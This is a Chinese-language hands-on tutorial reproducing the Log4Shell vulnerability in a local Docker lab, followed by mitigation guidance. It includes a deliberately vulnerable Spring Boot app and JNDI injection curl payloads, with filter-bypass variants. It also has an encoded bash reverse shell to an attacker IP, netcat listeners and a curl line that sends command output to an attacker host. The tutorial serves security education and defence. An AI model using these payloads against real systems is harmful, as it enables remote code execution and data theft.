Log4Shell漏洞复现:从JNDI注入到远程代码执行实战
1. 项目概述为什么Log4j漏洞值得每一个从业者亲手复现Log4j的CVE-2021-44228也就是大家常说的“Log4Shell”漏洞绝对是近年来安全领域最具标志性的事件之一。它不仅仅是一个高危漏洞更像是一次对整个软件供应链和开发安全意识的“压力测试”。我记得当时漏洞刚爆出来整个圈子都炸了锅从互联网大厂到传统企业从云服务商到个人开发者几乎人人自危都在连夜排查和修复。这个漏洞的可怕之处在于它影响范围极广几乎所有使用Java生态的应用都可能中招、利用门槛极低攻击者只需要让应用记录一条特定的日志、危害性极大可以直接远程执行任意代码拿到服务器权限。所以今天我们来聊聊这个漏洞的复现。你可能会问网上分析文章那么多为什么还要自己动手复现我的经验是看十遍分析文章不如自己动手搭一次环境、触发一次攻击、看到一次反弹的shell。只有亲手复现你才能真正理解这个漏洞的触发原理、利用链条的巧妙之处以及修复方案的底层逻辑。这对于安全研究人员、渗透测试工程师、甚至是后端开发人员都至关重要。它能帮你建立起对JNDI注入、LDAP协议利用、以及Java类动态加载机制的直观认知。接下来我会带你从零开始搭建一个存在漏洞的简易Spring Boot应用并一步步演示如何利用这个漏洞获取服务器权限最后再深入聊聊修复和防护。整个过程我会尽量模拟真实环境并分享我在复现过程中踩过的坑和总结的技巧。2. 漏洞原理深度剖析从日志记录到远程代码执行要复现一个漏洞首先得吃透它的原理。Log4Shell漏洞的核心简单来说就是Log4j 2.x版本在记录日志时会对日志内容中的${}占位符进行递归解析并且支持通过JNDIJava Naming and Directory Interface协议从远程服务器加载对象。攻击者正是利用了这两个特性的组合完成了一次“优雅”的远程代码执行。2.1 关键组件JNDI与LDAPJNDI是Java提供的一个统一接口用于访问各种命名和目录服务比如RMI、LDAP、DNS等。你可以把它想象成一个“资源查找器”应用程序通过一个名字比如ldap://evil.com/ExploitJNDI就会去对应的服务LDAP服务器上查找这个名字对应的资源可能是一个Java类的引用。LDAP轻量级目录访问协议通常用于企业用户身份认证目录。在Log4Shell漏洞利用中攻击者会搭建一个恶意的LDAP服务器。这个服务器不返回普通的用户信息而是返回一个指向攻击者控制的HTTP服务器上某个Java类的引用。整个攻击链条可以概括为以下几步触发日志记录攻击者向目标应用发送一个包含恶意JNDI查找字符串的请求例如${jndi:ldap://attacker-ip:1389/Exploit}。这个字符串可能藏在HTTP请求头如User-Agent、X-Forwarded-For、请求参数或任何会被应用记录到日志的地方。Log4j解析与查找存在漏洞的Log4j在记录这条日志时发现${}并开始解析。识别出jndi:ldap://...后它会尝试通过JNDI向指定的LDAP服务器发起查询。恶意LDAP响应攻击者控制的LDAP服务器收到查询后返回一个响应其中包含一个javaCodeBase属性指向另一个HTTP服务器地址如http://attacker-ip:8000/并指定一个类名如Exploit.class。动态加载恶意类受害者的Java应用通过Log4j接收到LDAP响应后会根据javaCodeBase的指示去远程HTTP服务器下载指定的.class文件。实例化与执行下载的恶意类被加载到JVM中并实例化。攻击者可以在这个类的静态代码块或构造函数中写入任意代码例如执行系统命令从而在目标服务器上实现远程代码执行。注意高版本的Java运行环境如JDK 8u191、11.0.1、12及以后默认设置了com.sun.jndi.ldap.object.trustURLCodebasefalse这会阻止从远程Codebase加载类从而在一定程度上缓解了漏洞利用。但在我们复现时通常会使用较低版本的JDK如8u181来确保利用成功这也是理解漏洞原始形态的重要一环。2.2 Log4j的“Lookup”机制与递归解析这是漏洞能够发生的另一个关键。Log4j 2.x为了提供灵活的日志格式引入了多种Lookup功能比如${java:runtime}、${env:USER}等用于在日志中插入运行时信息。问题在于这个解析过程是递归的。例如如果日志内容本身是${${lower:j}ndi:ldap://...}${lower:j}会先被解析为j然后整体再被解析为jndi:ldap://...继续进行JNDI查找。这种设计本意是增加灵活性但却为攻击者提供了绕过某些字符串过滤的可能性。3. 复现环境搭建与工具准备纸上谈兵终觉浅我们开始动手。一个完整的复现环境需要三部分一个存在漏洞的靶机应用、一个攻击者控制的恶意LDAP服务器、一个用于托管恶意Java类的HTTP服务器。为了简化我们使用Docker来快速部署这能保证环境隔离也方便清理。3.1 环境与工具清单操作系统LinuxUbuntu 20.04/22.04或 macOS。Windows用户建议使用WSL2。Docker Docker Compose用于容器化部署所有组件。确保已安装。JDK版本这是关键为了成功复现我们需要在靶机中使用JDK 8u181 或更早版本。因为后续版本默认限制了远程类加载。漏洞利用工具我们使用一个非常流行的开源工具——JNDI-Injection-Exploit。它集成了恶意LDAP/RMI服务器和HTTP文件服务器的功能。靶机应用我们将编写一个简单的、使用脆弱版本Log4j2.14.1以下的Spring Boot Web应用。网络工具nc(netcat) 用于监听反弹shellcurl用于发送攻击请求。3.2 创建漏洞靶机应用我们先创建一个最简单的Spring Boot应用。在你的工作目录下新建一个文件夹log4shell-vuln-app。1. 使用Spring Initializr快速生成项目骨架你可以通过网站生成或者直接用以下Maven配置。创建pom.xml?xml version1.0 encodingUTF-8? project xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd modelVersion4.0.0/modelVersion groupIdcom.example/groupId artifactIdlog4shell-vuln-app/artifactId version1.0.0/version packagingjar/packaging parent groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-parent/artifactId version2.6.0/version !-- 此版本仍可能使用有漏洞的Log4j适合复现 -- relativePath/ /parent properties java.version1.8/java.version log4j2.version2.14.1/log4j2.version !-- 故意使用存在漏洞的版本 -- /properties dependencies dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId !-- 排除默认日志框架强制使用Log4j2 -- exclusions exclusion groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-logging/artifactId /exclusion /exclusions /dependency dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-log4j2/artifactId /dependency /dependencies build plugins plugin groupIdorg.springframework.boot/groupId artifactIdspring-boot-maven-plugin/artifactId /plugin /plugins /build /project2. 编写一个存在漏洞的控制器创建src/main/java/com/example/vulnapp/VulnController.java。package com.example.vulnapp; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.*; RestController public class VulnController { private static final Logger logger LogManager.getLogger(VulnController.class); // 一个简单的接口将用户输入记录到日志 —— 这就是漏洞触发点 GetMapping(/hello) public String sayHello(RequestParam(value name, defaultValue World) String name) { // 危险操作直接记录用户可控的输入 logger.info(Received a request from user: {}, name); return Hello, name !; } // 另一个可能触发点记录HTTP头 GetMapping(/headers) public String logHeaders(RequestHeader(User-Agent) String userAgent) { logger.info(User-Agent is: {}, userAgent); return Logged your User-Agent.; } }3. 应用主类创建src/main/java/com/example/vulnapp/Application.java。package com.example.vulnapp; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; SpringBootApplication public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); } }4. 创建Dockerfile在项目根目录创建Dockerfile指定使用低版本JDK。# 使用包含漏洞的JDK 8u181基础镜像 FROM openjdk:8u181-jre-alpine # 将构建好的jar包复制进容器 COPY target/log4shell-vuln-app-1.0.0.jar /app.jar # 暴露端口 EXPOSE 8080 # 启动应用 ENTRYPOINT [java, -jar, /app.jar]5. 构建并运行靶机# 在项目根目录下 mvn clean package -DskipTests docker build -t log4shell-vuln-app . docker run -p 8080:8080 --name vuln-app log4shell-vuln-app现在访问http://localhost:8080/hello?nameTest你应该能看到 “Hello, Test!”同时后台日志会记录 “Received a request from user: Test”。靶机就绪。4. 攻击链搭建与漏洞利用实操靶机跑起来了现在我们来扮演攻击者。我们需要启动恶意服务并构造攻击请求。4.1 启动JNDI利用工具我们使用marschall/jndi-injection-exploit的Docker镜像它集成了所有功能。# 拉取镜像并运行 docker run -it --rm -p 1389:1389 -p 8000:8000 marschall/jndi-injection-exploit运行后工具会显示一个菜单。我们选择LDAP服务。根据提示我们需要提供几个参数Command: 你想要在目标服务器上执行的命令。例如我们想让它反弹一个shell到我们的攻击机。Attack Type: 选择LDAP。工具会自动生成一个用于利用的JNDI URL。假设我们的攻击机IP是192.168.1.100我们想让目标服务器执行bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}。这个命令是经过Base64编码的bash -i /dev/tcp/192.168.1.100/4444 01意思是用bash创建一个反向TCP连接到192.168.1.100:4444。在工具菜单中依次输入选择攻击类型输入1(LDAP)。输入要执行的命令粘贴上面那串Base64编码的命令。工具会输出生成的恶意JNDI地址例如ldap://192.168.1.100:1389/deserialization/CommonsCollections6/[你的编码后命令]。我们记下这个地址稍作简化核心是ldap://192.168.1.100:1389/Exploit这样的形式。实操心得在实际测试中由于网络环境和JDK版本差异直接使用复杂的反弹Shell命令可能失败。一个更稳妥的方法是分两步走先尝试执行一个简单的命令验证漏洞是否可利用如touch /tmp/pwned_success然后在目标服务器上检查文件是否创建。成功后再尝试反弹Shell。4.2 在攻击机上启动Netcat监听打开另一个终端在攻击机IP: 192.168.1.100上监听4444端口等待靶机反弹连接。nc -lvnp 44444.3 发起攻击请求现在我们向靶机应用发送包含恶意JNDI字符串的请求。有多个入口点可以尝试方法一通过GET参数注入最直接curl http://localhost:8080/hello?name${jndi:ldap://192.168.1.100:1389/Exploit}方法二通过HTTP头注入更隐蔽更常见curl -H User-Agent: ${jndi:ldap://192.168.1.100:1389/Exploit} http://localhost:8080/headers方法三使用一些绕过技巧如果简单字符串被过滤尝试使用Lower Lookup进行简单绕过curl http://localhost:8080/hello?name${${lower:j}ndi:${lower:l}dap://192.168.1.100:1389/Exploit}发送请求后观察两个终端JNDI工具终端你会看到LDAP服务器收到了查询请求并引导客户端去HTTP服务器同样由该工具提供端口8000下载恶意类Exploit.class。Netcat监听终端如果一切顺利几秒后你会看到一个来自靶机容器的bash shell连接成功这意味着你已经在目标服务器上获得了远程命令执行权限可以执行id、whoami、ls等命令进行验证。4.4 攻击流程拆解与现场观察当攻击请求发出后整个攻击流程在后台高速运转。我们通过查看靶机应用的Docker容器日志可以清晰地看到每一步docker logs -f vuln-app你可能会看到类似如下的日志输出已简化INFO Received a request from user: ${jndi:ldap://192.168.1.100:1389/Exploit} ... (可能有一些连接LDAP的日志取决于Log4j配置) ...更重要的是在攻击成功的瞬间Netcat终端会显示连接建立而JNDI工具终端会打印出LDAP查询处理过程和HTTP文件服务日志。这个“黑盒”变“白盒”的观察过程是理解漏洞动态利用链不可或缺的一环。5. 漏洞修复方案与缓解措施深度解析成功复现了攻击我们更要明白如何防御。修复Log4Shell漏洞是一个多层次的工作。5.1 根本解决方案升级Log4j这是最彻底的方法。Apache官方发布了多个安全版本Log4j 2.16.0 完全禁用了JNDI功能并默认关闭了Lookup的消息模式支持。Log4j 2.12.2(Java 7) /2.17.0(Java 8) 后续版本进一步修复了其他相关漏洞如CVE-2021-45046, CVE-2021-45105提供了更安全的默认配置。升级步骤 在你的pom.xml或build.gradle中将Log4j版本直接修改为安全版本。properties log4j2.version2.17.1/log4j2.version !-- 使用最新的稳定安全版本 -- /properties然后重新编译部署你的应用。5.2 临时缓解措施如果无法立即升级在紧急情况下可以采用以下“止血”方案但它们不能替代升级。修改JVM参数最常用 通过设置系统属性直接禁止Log4j进行JNDI查找。-Dlog4j2.formatMsgNoLookupstrue对于Log4j 2.10及以上版本此参数有效。对于2.7-2.10版本可以尝试移除JndiLookup类。从Classpath中移除JndiLookup类 找到Log4j核心jar包如log4j-core-*.jar进入容器或服务器执行zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class这相当于物理拆除了漏洞的“扳机”。但要注意这可能会影响某些依赖JNDI查找的功能。使用WAFWeb应用防火墙规则 在网络边界部署WAF添加规则拦截所有包含jndi:ldap://、jndi:rmi://、${等特征的请求。但这只能防御外部攻击对内部攻击或非HTTP流量无效。升级JDK版本 将运行环境升级到JDK 8u191、11.0.1、12及以上版本。这些版本默认设置了com.sun.jndi.ldap.object.trustURLCodebasefalse可以阻断从远程LDAP服务加载类但无法防御利用本地ClassPath中已有类的攻击链如某些反序列化利用。5.3 安全开发最佳实践从这次事件中我们可以吸取更深层次的教训谨慎记录用户输入永远不要将未经处理、不可信的用户输入直接记录到日志中。对于请求头、参数、Cookie等在记录前应进行过滤或脱敏。最小化依赖定期审查和升级项目中的第三方依赖特别是安全敏感的基础组件。使用像OWASP Dependency-Check这样的工具进行自动化扫描。深度防御不要只依赖一种防护手段。结合网络隔离、最小权限原则、运行时应用自我保护RASP等多层防御策略。建立应急响应流程提前制定针对此类广泛影响漏洞的应急响应预案包括快速检测、影响评估、修复和验证流程。6. 复现过程中的常见问题与排查技巧自己动手复现大概率不会一帆风顺。下面是我在多次复现中总结的“踩坑”记录和解决方法。6.1 问题速查表问题现象可能原因排查步骤与解决方案发送Payload后Netcat无连接JNDI工具无日志。1. 网络不通。2. Payload构造错误。3. 靶机Log4j版本不对或配置禁用了Lookup。4. JDK版本过高。1.检查网络在靶机容器内ping攻击机IP在攻击机用telnet测试靶机应用端口8080和JNDI工具端口1389, 8000是否可达。2.验证Payload先用最简单的${jndi:ldap://攻击机IP:1389/a}测试看JNDI工具是否有连接日志。3.确认环境检查靶机应用的Log4j版本查看jar包或启动日志确认是2.0-beta9 到 2.14.1之间。检查log4j2.xml配置确保没有设置disableLookups。4.降低JDK确保靶机使用JDK 8u181或更早版本。在容器内执行java -version确认。JNDI工具有LDAP查询日志但无HTTP请求日志Netcat无连接。1. 恶意类编译或加载失败。2. 命令执行被拦截或环境不支持。3. 目标JDK限制了远程类加载。1.简化命令将执行的命令改为最简单的touch /tmp/test123并确保命令格式正确针对Linux环境。2.检查JDK限制这是最常见原因。必须使用JDK 8u181或更低版本。高版本即使收到LDAP响应也不会去远程加载类。3.查看工具输出JNDI工具可能会显示编译错误或类加载错误信息。Netcat收到连接但立即断开或无法执行命令。1. 反弹Shell命令编码或格式错误。2. 目标容器内没有/bin/bashAlpine镜像常用/bin/sh。3. 防火墙或安全组策略限制了反向连接。1.更换Shell命令尝试使用更通用的/bin/sh或使用Python、Perl等语言编写的反弹Shell。2.适配容器如果靶机是Alpine镜像bash命令可能无效。改用sh -c或使用静态编译的busybox。3.本地测试先在攻击机上监听然后在另一个终端用nc target_ip 4444 -e /bin/bash测试网络连通性和命令执行排除网络问题。漏洞利用成功但命令执行结果未回显。反弹Shell是单向的或者命令执行环境受限。使用支持交互的Payload或者尝试用其他方式获取输出如将命令结果写入文件再通过Web下载curl -X POST http://attacker-ip:9999 -d “$(id)”。6.2 独家避坑技巧“环境一次配好”原则使用Docker Compose统一管理靶机、攻击工具和网络。创建一个docker-compose.yml明确定义各服务的镜像、版本、端口和网络确保它们在同一自定义网络内避免宿主机防火墙干扰。version: 3 services: vuln-app: build: ./log4shell-vuln-app ports: - 8080:8080 networks: - log4shell-net jndi-exploit: image: marschall/jndi-injection-exploit ports: - 1389:1389 - 8000:8000 networks: - log4shell-net stdin_open: true tty: true networks: log4shell-net: driver: bridge使用docker-compose up启动所有服务内部通过服务名如jndi-exploit通信IP问题迎刃而解。从简到繁验证不要一上来就用复杂的反弹Shell。先通过DNSLog或简单的HTTP请求验证漏洞是否存在。例如使用${jndi:ldap://${sys:java.version}.xxx.dnslog.cn/a}如果DNSLog平台收到包含Java版本的子域名查询就证明漏洞存在且JNDI解析成功。善用日志调试在靶机应用的log4j2.xml中将Log4j自身的日志级别调到DEBUG或TRACE可以观察到详细的Lookup解析和JNDI连接过程对于理解漏洞触发流程和排查问题有奇效。理解“绕过高版本JDK”的利用在真实的高版本JDK环境中攻击者可能会利用目标ClassPath中已有的、具有危险方法的类如org.apache.commons.collections.Transformer进行利用这需要更复杂的反序列化链。我们的复现专注于原理因此选择低版本JDK来简化环境。了解这一点能让你明白仅仅升级JDK并非万全之策。亲手完成这样一次完整的漏洞复现其价值远超阅读十篇分析报告。你不仅看到了漏洞的“形”更摸清了它的“脉”。从环境搭建的琐碎到攻击链的环环相扣再到修复方案的层层递进每一个环节都加深了你对安全攻防的理解。下次当你面对一个陌生的漏洞公告时你脑海中浮现的不再是模糊的概念而是一套清晰的、可操作的复现与验证思路。这才是安全工程师核心能力的成长路径。